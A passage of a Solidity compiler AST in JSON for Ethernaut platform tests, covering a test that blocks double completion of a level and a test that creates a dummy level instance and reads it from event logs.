Name","src":"3646:7:120","typeDescriptions":{}}},"id":58456,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3646:47:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"3627:66:120"},{"assignments":[58460],"declarations":[{"constant":false,"id":58460,"mutability":"mutable","name":"dummy","nameLocation":"3709:5:120","nodeType":"VariableDeclaration","scope":58512,"src":"3703:11:120","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Dummy_$52095","typeString":"contract Dummy"},"typeName":{"id":58459,"nodeType":"UserDefinedTypeName","pathNode":{"id":58458,"name":"Dummy","nameLocations":["3703:5:120"],"nodeType":"IdentifierPath","referencedDeclaration":52095,"src":"3703:5:120"},"referencedDeclaration":52095,"src":"3703:5:120","typeDescriptions":{"typeIdentifier":"t_contract$_Dummy_$52095","typeString":"contract Dummy"}},"visibility":"internal"}],"id":58464,"initialValue":{"arguments":[{"id":58462,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58441,"src":"3723:8:120","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":58461,"name":"Dummy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52095,"src":"3717:5:120","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Dummy_$52095_$","typeString":"type(contract Dummy)"}},"id":58463,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3717:15:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Dummy_$52095","typeString":"contract Dummy"}},"nodeType":"VariableDeclarationStatement","src":"3703:29:120"},{"expression":{"arguments":[{"hexValue":"74727565","id":58468,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"3762:4:120","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":58465,"name":"dummy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58460,"src":"3743:5:120","typeDescriptions":{"typeIdentifier":"t_contract$_Dummy_$52095","typeString":"contract Dummy"}},"id":58467,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3749:12:120","memberName":"setCompleted","nodeType":"MemberAccess","referencedDeclaration":52094,"src":"3743:18:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_bool_$returns$__$","typeString":"function (bool) external"}},"id":58469,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3743:24:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58470,"nodeType":"ExpressionStatement","src":"3743:24:120"},{"expression":{"arguments":[{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":58472,"name":"dummy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58460,"src":"3788:5:120","typeDescriptions":{"typeIdentifier":"t_contract$_Dummy_$52095","typeString":"contract Dummy"}},"id":58473,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3794:9:120","memberName":"completed","nodeType":"MemberAccess","referencedDeclaration":52084,"src":"3788:15:120","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_bool_$","typeString":"function () view external returns (bool)"}},"id":58474,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3788:17:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":58471,"name":"assertTrue","nodeType":"Identifier","overloadedDeclarations":[287,302],"referencedDeclaration":287,"src":"3777:10:120","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":58475,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3777:29:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58476,"nodeType":"ExpressionStatement","src":"3777:29:120"},{"expression":{"arguments":[{"arguments":[{"id":58482,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58441,"src":"3855:8:120","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":58481,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"3847:8:120","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":58480,"name":"address","nodeType":"ElementaryTypeName","src":"3847:8:120","stateMutability":"payable","typeDescriptions":{}}},"id":58483,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3847:17:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":58477,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58052,"src":"3817:9:120","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":58479,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3827:19:120","memberName":"submitLevelInstance","nodeType":"MemberAccess","referencedDeclaration":49100,"src":"3817:29:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_payable_$returns$__$","typeString":"function (address payable) external"}},"id":58484,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3817:48:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58485,"nodeType":"ExpressionStatement","src":"3817:48:120"},{"expression":{"arguments":[{"arguments":[{"id":58489,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58060,"src":"3910:4:120","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"arguments":[{"id":58492,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58386,"src":"3924:5:120","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}],"id":58491,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"3916:7:120","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":58490,"name":"address","nodeType":"ElementaryTypeName","src":"3916:7:120","typeDescriptions":{}}},"id":58493,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3916:14:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":58487,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58055,"src":"3887:5:120","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":58488,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3893:16:120","memberName":"isLevelCompleted","nodeType":"MemberAccess","referencedDeclaration":56143,"src":"3887:22:120","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$_t_address_$returns$_t_bool_$","typeString":"function (address,address) view external returns (bool)"}},"id":58494,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3887:44:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":58486,"name":"assertTrue","nodeType":"Identifier","overloadedDeclarations":[287,302],"referencedDeclaration":287,"src":"3876:10:120","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":58495,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3876:56:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58496,"nodeType":"ExpressionStatement","src":"3876:56:120"},{"expression":{"arguments":[{"hexValue":"4c6576656c20686173206265656e20636f6d706c6574656420616c7265616479","id":58500,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3959:34:120","typeDescriptions":{"typeIdentifier":"t_stringliteral_5dca83cf68fad78343b6244ef171ccb0f8499a3f0c5ff47716078af02a5144fc","typeString":"literal_string \"Level has been completed already\""},"value":"Level has been completed already"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_5dca83cf68fad78343b6244ef171ccb0f8499a3f0c5ff47716078af02a5144fc","typeString":"literal_string \"Level has been completed already\""}],"expression":{"id":58497,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"3943:2:120","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":58499,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3946:12:120","memberName":"expectRevert","nodeType":"MemberAccess","referencedDeclaration":15646,"src":"3943:15:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) external"}},"id":58501,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3943:51:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58502,"nodeType":"ExpressionStatement","src":"3943:51:120"},{"expression":{"arguments":[{"arguments":[{"id":58508,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58441,"src":"4042:8:120","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":58507,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"4034:8:120","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":58506,"name":"address","nodeType":"ElementaryTypeName","src":"4034:8:120","stateMutability":"payable","typeDescriptions":{}}},"id":58509,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4034:17:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":58503,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58052,"src":"4004:9:120","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":58505,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4014:19:120","memberName":"submitLevelInstance","nodeType":"MemberAccess","referencedDeclaration":49100,"src":"4004:29:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_payable_$returns$__$","typeString":"function (address payable) external"}},"id":58510,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4004:48:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58511,"nodeType":"ExpressionStatement","src":"4004:48:120"}]},"documentation":{"id":58375,"nodeType":"StructuredDocumentation","src":"3122:91:120","text":"@notice Should not allow a player to generate 2 completion logs with the same instance."},"functionSelector":"4be45556","implemented":true,"kind":"function","modifiers":[],"name":"testDoubleCompletion","nameLocation":"3227:20:120","parameters":{"id":58376,"nodeType":"ParameterList","parameters":[],"src":"3247:2:120"},"returnParameters":{"id":58377,"nodeType":"ParameterList","parameters":[],"src":"3257:0:120"},"scope":58855,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":58648,"nodeType":"FunctionDefinition","src":"4129:786:120","nodes":[],"body":{"id":58647,"nodeType":"Block","src":"4167:748:120","nodes":[],"statements":[{"expression":{"arguments":[{"id":58520,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58064,"src":"4191:5:120","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":58517,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"4177:2:120","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":58519,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4180:10:120","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"4177:13:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":58521,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4177:20:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58522,"nodeType":"ExpressionStatement","src":"4177:20:120"},{"assignments":[58525],"declarations":[{"constant":false,"id":58525,"mutability":"mutable","name":"level","nameLocation":"4220:5:120","nodeType":"VariableDeclaration","scope":58647,"src":"4207:18:120","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"},"typeName":{"id":58524,"nodeType":"UserDefinedTypeName","pathNode":{"id":58523,"name":"DummyFactory","nameLocations":["4207:12:120"],"nodeType":"IdentifierPath","referencedDeclaration":52145,"src":"4207:12:120"},"referencedDeclaration":52145,"src":"4207:12:120","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}},"visibility":"internal"}],"id":58530,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":58528,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"4228:16:120","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_DummyFactory_$52145_$","typeString":"function () returns (contract DummyFactory)"},"typeName":{"id":58527,"nodeType":"UserDefinedTypeName","pathNode":{"id":58526,"name":"DummyFactory","nameLocations":["4232:12:120"],"nodeType":"IdentifierPath","referencedDeclaration":52145,"src":"4232:12:120"},"referencedDeclaration":52145,"src":"4232:12:120","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}}},"id":58529,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4228:18:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}},"nodeType":"VariableDeclarationStatement","src":"4207:39:120"},{"expression":{"arguments":[{"id":58534,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58525,"src":"4280:5:120","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}],"expression":{"id":58531,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58052,"src":"4256:9:120","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":58533,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4266:13:120","memberName":"registerLevel","nodeType":"MemberAccess","referencedDeclaration":48913,"src":"4256:23:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_contract$_Level_$55508_$returns$__$","typeString":"function (contract Level) external"}},"id":58535,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4256:30:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58536,"nodeType":"ExpressionStatement","src":"4256:30:120"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":58537,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"4296:2:120","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":58539,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4299:9:120","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"4296:12:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":58540,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4296:14:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58541,"nodeType":"ExpressionStatement","src":"4296:14:120"},{"expression":{"arguments":[{"id":58545,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58060,"src":"4335:4:120","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":58542,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"4321:2:120","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":58544,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4324:10:120","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"4321:13:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":58546,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4321:19:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58547,"nodeType":"ExpressionStatement","src":"4321:19:120"},{"expression":{"arguments":[{"arguments":[{"arguments":[{"id":58553,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58525,"src":"4390:5:120","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}],"id":58552,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"4382:7:120","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":58551,"name":"address","nodeType":"ElementaryTypeName","src":"4382:7:120","typeDescriptions":{}}},"id":58554,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4382:14:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":58549,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58055,"src":"4361:5:120","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":58550,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4367:14:120","memberName":"doesLevelExist","nodeType":"MemberAccess","referencedDeclaration":56411,"src":"4361:20:120","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_bool_$","typeString":"function (address) view external returns (bool)"}},"id":58555,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4361:36:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":58548,"name":"assertTrue","nodeType":"Identifier","overloadedDeclarations":[287,302],"referencedDeclaration":287,"src":"4350:10:120","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":58556,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4350:48:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58557,"nodeType":"ExpressionStatement","src":"4350:48:120"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":58558,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"4409:2:120","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":58560,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4412:10:120","memberName":"recordLogs","nodeType":"MemberAccess","referencedDeclaration":12617,"src":"4409:13:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":58561,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4409:15:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58562,"nodeType":"ExpressionStatement","src":"4409:15:120"},{"expression":{"arguments":[{"id":58566,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58525,"src":"4464:5:120","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}],"expression":{"id":58563,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58052,"src":"4434:9:120","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":58565,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4444:19:120","memberName":"createLevelInstance","nodeType":"MemberAccess","referencedDeclaration":49017,"src":"4434:29:120","typeDescriptions":{"typeIdentifier":"t_function_external_payable$_t_contract$_Level_$55508_$returns$__$","typeString":"function (contract Level) payable external"}},"id":58567,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4434:36:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58568,"nodeType":"ExpressionStatement","src":"4434:36:120"},{"assignments":[58574],"declarations":[{"constant":false,"id":58574,"mutability":"mutable","name":"entries","nameLocation":"4496:7:120","nodeType":"VariableDeclaration","scope":58647,"src":"4480:23:120","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Log_$12060_memory_ptr_$dyn_memory_ptr","typeString":"struct VmSafe.Log[]"},"typeName":{"baseType":{"id":58572,"nodeType":"UserDefinedTypeName","pathNode":{"id":58571,"name":"Vm.Log","nameLocations":["4480:2:120","4483:3:120"],"nodeType":"IdentifierPath","referencedDeclaration":12060,"src":"4480:6:120"},"referencedDeclaration":12060,"src":"4480:6:120","typeDescriptions":{"typeIdentifier":"t_struct$_Log_$12060_storage_ptr","typeString":"struct VmSafe.Log"}},"id":58573,"nodeType":"ArrayTypeName","src":"4480:8:120","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Log_$12060_storage_$dyn_storage_ptr","typeString":"struct VmSafe.Log[]"}},"visibility":"internal"}],"id":58578,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":58575,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"4506:2:120","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":58576,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4509:15:120","memberName":"getRecordedLogs","nodeType":"MemberAccess","referencedDeclaration":12595,"src":"4506:18:120","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$_t_array$_t_struct$_Log_$12060_memory_ptr_$dyn_memory_ptr_$","typeString":"function () external returns (struct VmSafe.Log memory[] memory)"}},"id":58577,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4506:20:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Log_$12060_memory_ptr_$dyn_memory_ptr","typeString":"struct VmSafe.Log memory[] memory"}},"nodeType":"VariableDeclarationStatement","src":"4480:46:120"},{"assignments":[58580],"declarations":[{"constant":false,"id":58580,"mutability":"mutable","name":"instance","nameLocation":"4545:8:120","nodeType":"VariableDeclaration","scope":58647,"src":"4537:16:120","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":58579,"name":"address","nodeType":"ElementaryTypeName","src":"4537:7:120","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":58596,"initialValue":{"arguments":[{"arguments":[{"arguments":[{"baseExpression":{"expression":{"baseExpression":{"id":58587,"name":"entries","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58574,"src":"4580:7:120","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Log_$12060_memory_ptr_$dyn_memory_ptr","typeString":"struct VmSafe.Log memory[] memory"}},"id":58589,"indexExpression":{"hexValue":"30","id":58588,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"4588:1:120","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"4580:10:120","typeDescriptions":{"typeIdentifier":"t_struct$_Log_$12060_memory_ptr","typeString":"struct VmSafe.Log memory"}},"id":58590,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"4591:6:120","memberName":"topics","nodeType":"MemberAccess","referencedDeclaration":12055,"src":"4580:17:120","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[] memory"}},"id":58592,"indexExpression":{"hexValue":"32","id":58591,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"4598:1:120","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"4580:20:120","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":58586,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"4572:7:120","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":58585,"name":"uint256","nodeType":"ElementaryTypeName","src":"4572:7:120","typeDescriptions":{}}},"id":58593,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4572:29:120","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":58584,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"4564:7:120","typeDescriptions":{"typeIdentifier":"t_type$_t_uint160_$","typeString":"type(uint160)"},"typeName":{"id":58583,"name":"uint160","nodeType":"ElementaryTypeName","src":"4564:7:120","typeDescriptions":{}}},"id":58594,"